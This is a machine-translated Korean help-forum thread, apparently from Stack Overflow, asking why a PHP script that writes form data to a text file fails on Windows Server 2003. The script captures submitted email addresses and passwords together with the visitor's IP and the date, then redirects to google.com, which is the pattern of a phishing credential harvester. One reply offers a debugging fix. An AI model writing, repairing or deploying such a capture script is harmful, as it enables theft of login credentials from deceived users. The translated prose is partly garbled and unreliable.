나는이 스크립트를 리눅스에서 사용하기 전에이 스크립트를 사용 했었지만 작동하는지는 알지만 새 Windows 서버 2003 서버에서 사용하면 작동하지 않습니다. 과거에는 777로 파일을 chmodding하여이 문제를 해결했지만 Windows에서는이 문제를 해결할 수 없습니다.PHP는 .txt 파일에만 데이터의 일부를 쓸 것입니다
<?php
header("Location:http://google.com");
$handle = fopen("list.txt", "a");
$ip = $_SERVER["REMOTE_ADDR"];
{
fwrite($handle, "Email = ". $_POST['box1']."\n");
fwrite($handle, "Password = ".$_POST['box2']."\n");
fwrite($handle, "Ip address = ". $ip ."\n");
fwrite($handle, "Date = ". date('Y-m-d') . "\n\n");
}
fclose($handle);
?>
는 그것은 BOX1 및 BOX2 데이터의 빈 출력하지만 여전히 .txt 파일에 IP 및 날짜를 기록 여기
는 코드입니다. 제발 제발?
Whats'header ("Location : http : //google.com"); '? –
왜 중괄호가 사용됩니까? 또한'error_reporting (E_ALL);을 설정하고 오류를 살펴보십시오. 일반적인 참고 사항 : 일반 텍스트 암호를 텍스트 파일에 쓰고 있습니다. 너는 그렇게해서는 안된다. – Tomalak
바이너리 플래그 fopen ("list.txt", "ab")로 fopen을 시도하십시오. – djot